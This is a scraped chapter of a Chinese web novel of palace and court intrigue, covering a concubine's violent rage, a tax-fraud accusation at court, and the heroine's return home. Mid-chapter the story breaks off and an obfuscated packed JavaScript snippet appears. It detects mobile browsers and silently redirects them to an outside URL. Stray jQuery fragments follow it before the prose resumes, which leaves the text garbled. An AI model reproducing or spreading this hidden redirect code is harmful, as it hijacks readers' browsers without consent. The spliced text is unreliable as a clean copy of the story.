默认冷灰
24号文字
方正启体

49. 昨夜的衣裳去哪儿了?

作者:快乐加倍本书字数:K更新时间:
    贵妃宫中肃杀之气在蔓延。


    小太监们蹑手蹑脚的抬着一个血呼呼的人影往外走,三五个宫女拧干帕子一点点擦拭着地面、砖缝间的血迹。


    “滚!都滚!”


    负责打扫的小宫女们跪在地上瑟瑟发抖。


    精致的茶盏砸了下来,碎裂的瓷片混合着滚烫的茶水飞溅开来,无情的落在宫女身上。


    离得近些的被划伤了手臂,离得远些的被烫红了皮肤。


    可是没有一个人敢出声更没一个人敢躲,刚刚血肉模糊不成人形的正是跟了贵妃多年的双儿。


    贴身的大宫女都能无故被杀,宫中人人胆寒。


    自从齐王离京之后,贵妃身边没了软肋和掣肘,行事越发张狂...发起脾气来越来越疯。


    殿内宫女全退了下去,只余一个太监没有挪窝,甚至还开口劝诫:“娘娘该克制些,与其拿下人撒气不如想想以后该怎么办。”


    贵妃蓦的回头,眼中的恨意毫不掩饰:“别以为你是哥哥的人我就不敢杀你!”


    “若不是双儿那小贱人自作主张然让哥哥横插一杠,那老东西这会儿该生不如死!该求着我、哄着我!”她状若癫狂的指着门外。


    “而不是夺了我协理六宫的权柄、将我禁足在此!”


    她一把扯过太监的衣襟:“现在你们满意了?崇儿说舅舅不肯帮他我还不信,是我想得太天真了、哈哈哈哈哈,一群靠不住的蠢货!”


    太监顺了顺衣领,没接她的茬,反而出言质问:“听这话,齐王与您私下一直有联系?”


    “娘娘,这皇宫看似坚不可摧实则处处漏风。”


    “您呀最好祈祷齐王没有在信中说什么大逆不道的话,”他阴柔的眸中满是不屑,抬手指了指自己的眼睛:“咱陛下可全都看在眼里呢。”


    蠢货一个,玷污姑娘这种事让自家子侄动手,生怕别人不知道是谁干的?现成的把柄递给太子,准备给将张家连根拔起吗?


    皇帝看太子势大可能心气儿不顺,可那好歹是自己儿子,是至亲骨血。


    张家呢?外人罢了,外戚势大若还不能低调处事必然招致皇帝的清算。


    贵妃愣在原地,皇帝他...他知道了?只是设想了一下这个可能,一股莫大的恐惧便笼上心头,她当即矢口否认:“不、绝无可能!”


    像是为了证明什么,又或许为了说服自己,她不停地重复:“对,不可能,这些人我都用了十多年了,我是这六宫之主他们绝不会背叛我。”


    太监看不下去了,实在搞不明白当年怎么就选了这么个光有脸蛋不长脑子的主入宫,意味深长的提醒:“娘娘,说到底这皇宫真正的主人从来都只有一个。”


    深重的寒意如跗骨之蛆爬上背脊,贵妃由衷的打了个寒颤,怪不得、怪不得当年太后之死、皇后之死处处疑点却从没有被查清。


    说起来那位封太妃也是在皇后横死后深居简出。


    亏她还以为对方是怕了自己,原来是怕了皇帝的雷霆手段、忘恩负义。


    “娘娘能在这后宫中如鱼得水,靠的是相爷在前朝的地位,这段时间好好想想如何自处吧,”太监说得毫不掩饰:“或许哄得陛下高兴,他也能不计较?”


    后宫腥风血雨,前朝也不遑多让。


    “臣有本奏!”


    早朝上说了些无关紧要的事之后,时家大哥率先发难:“臣查阅受灾地区税收,发现过去五年人口、田地增减几乎年年持平,上报的赋税徭役也均相差无几!”


    南方富庶,加上水路发达运输便利,历来都是官员们最想去的地方。


    五年前正巧是齐王心腹走马上任的时间。


    任期三年已满,这位大人正巧也在朝上。


    伪造交给朝廷的官文最轻也得杖责一百,动了赋税那就是个死,他当即站出来为自己辩解。


    “时大人此言差矣,五湖一带富庶不假,可正式因为富庶当地百姓多外出经商人口流动极大,且因水系发达三五不时闹水灾,人口减员时有发生。这几年不过是个巧合罢了。”


    当朝实行两税法,土地越多,需缴纳的夏秋两税、杂役赋税就越重。


    人口少了就能少交身丁税??,田地少了就能少交粮食,他是张相推举上去的,自然而然的干起了隐匿田地、人口的活计。


    至于钱财嘛,自然进了齐王的口袋。


    早料到会这么说,时铭拿出准备好的东西:“大人此言在理,可下官也查了,这几年五湖之地风平浪静没有水患发生。”


    “前往赈灾的官员发现这几年收成远超往年,可这账上一没见人口增长,二没有见赋税增加,请问这位大人,到底是为什么呢?”


    “有劳公公。”时铭将东西举过头顶。


    御前公公拿走了时铭的奏书呈到御前。


    皇帝刚看了个开头就冷笑一声,顺手将东西丢了下去:“这东西不该只给朕看,也叫爱卿们开开眼才是。”


    “五年时间,户部、三司、地方转运司、司农寺,竟无一个发现异常?做什么吃的?”


    刚经历的宫门之变的张相还有些回不过神来,思前想后也不知昨夜哪里出了纰漏,这会儿被忽然争对,反应慢了半拍。


    皇帝话音刚落,他利索的跪了下去:“陛下息怒,保重龙体。”


    百官跟着下跪:“陛下息怒。”


    这件事一旦被坐实,五湖一带的官场地震也就罢了,那些隐田带来的巨额收入也没了,齐王还得靠着这些钱财售卖官员,张知栋可不想自废武功。


    但此刻皇帝正在气头上,急着否认这件事只会让事态升级,想要压下一件事最好的办法是...爆出另一件更大的事。


    正好手里捏着太子的把柄,此时不用更待何时?


    “爱卿们起身吧,睁开眼好好看看这份奏报!”


    太监拾起散落一地的奏折捧在手上,缓步穿行于百官之间让大臣们瞧个仔细。


    按照往年的增长态势以及赈灾时登记的人口,时钦详细推演了这几年的人口、田地数值,与五湖报上来的相去甚远。


    那巨大的差额几乎将所有官员震在原地。


    大殿之上鸦雀无声。


    “好啊、朕的臣子们手都伸进国库里掏钱了,好的很!”


    “臣有本奏。”张知栋捏着袖子里那份加急送来的奏折,决定兵行险招。


    ...


    宫门前的马


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644298|183357||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    车里,主仆俩默默相守至天明。


    调皮的马儿尾巴一甩一甩,将车门前的吃食扫落一地。


    日头高照,街市上热闹起来。


    人一多人气就旺,汤芫心里的恐惧阴霾一点点驱散,昨夜经历的一切好似一场噩梦,天亮了,梦就醒了。


    阳光顺着帘子的缝隙透了进来,带着暖意落到身上,晃得人睁不开眼。


    “咕噜——”肚子开始抗议,响个不停。


    “小姐,奴婢下去买些吃食吧。”芳菲眨巴眨巴眼,自告奋勇。


    她虽大致了解了昨夜的事,但因为没有记忆加上汤芫并没有细说,所以全当听了个故事,并没有太害怕。


    “别、别去,我不饿。”汤芫默默抱紧膝盖,试图掩盖。


    “咕噜噜——”又一阵清晰的声响传来,汤芫疑惑的低头,片刻后迟钝的扭头:“你饿了?”


    芳菲羞红了脸。


    汤芫噗呲一笑,心里总算是松快了些。


    其实有一件事她没有和芳菲说,芳菲也没有察觉。


    她清楚的记得晕过去之前自己身上的衣裳被扯破了,打斗中头上的钗环也一个不剩,好像连脚下的鞋子也不翼而飞。


    可一觉醒来,不仅穿着整齐连鬓发都梳得一丝不苟,甚至...浑身上下的伤都仔细上过药了。


    这身衣裳乍一看和昨日入宫那身别无二致,可贴身的料子明显更轻更软,用料上乘。


    若昨夜真是被未婚夫时钦所救...那我岂不是被看光了?


    这可不行,虽然我杀人如麻、贪财好色,但我是个好姑娘。


    汤芫心虚不已,索性将这件事瞒了下来。


    见小姐神游太虚芳菲摇摇头,不让下车也行,她撩开窗帘准备让小贩送些吃的过来。


    “哎、小姐小姐!”


    芳菲眼尖的看到了宫门前的人影:“出来了!老爷散值了!”


    汤成砚脚步匆匆赶在第一个出了宫门,不顾同僚的挽留径直走向自家马车,掀开门帘看到完好无损的女儿险些没掉下泪来。


    “好好好,没事就好没事就好。”


    “乖女儿,咱回家啊、爹爹带你回家!”


    说罢上了马车一甩鞭子,驾起车来。


    这一幕将不远处的汤府车夫惊得目瞪口呆,赶忙追了上去:“老爷使不得、使不得啊,哪儿能让您亲自驾车呢,让小的来!”


    “让开。”汤成砚毫不客气:“我乐意,管得着吗你,闪开!”


    车夫就在在头铁也不至于以肉身阻挡马蹄,面对飞扬的马蹄不得已让开了路,灰溜溜的回去赶那辆空置的马车。


    汤大人的行径大家都看在眼里,隔壁的车夫当即取笑到:“哟,让自家大人亲自驾车,兄弟你是头一个啊?”


    “当心丢了饭碗。”


    “那边车上是我家小姐,大人这是爱女心切,你懂什么懂?咱们家主母主君和睦恩爱,和你们这些外人说不着,哼。”


    马夫一甩鞭子:“驾!大人你等等我!”


    不远处抱剑而立的时钦默默看着马车远去,直到它消失在自己的视野里才离开。


    守了一早上,现在是时候找姓邱的算算帐了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)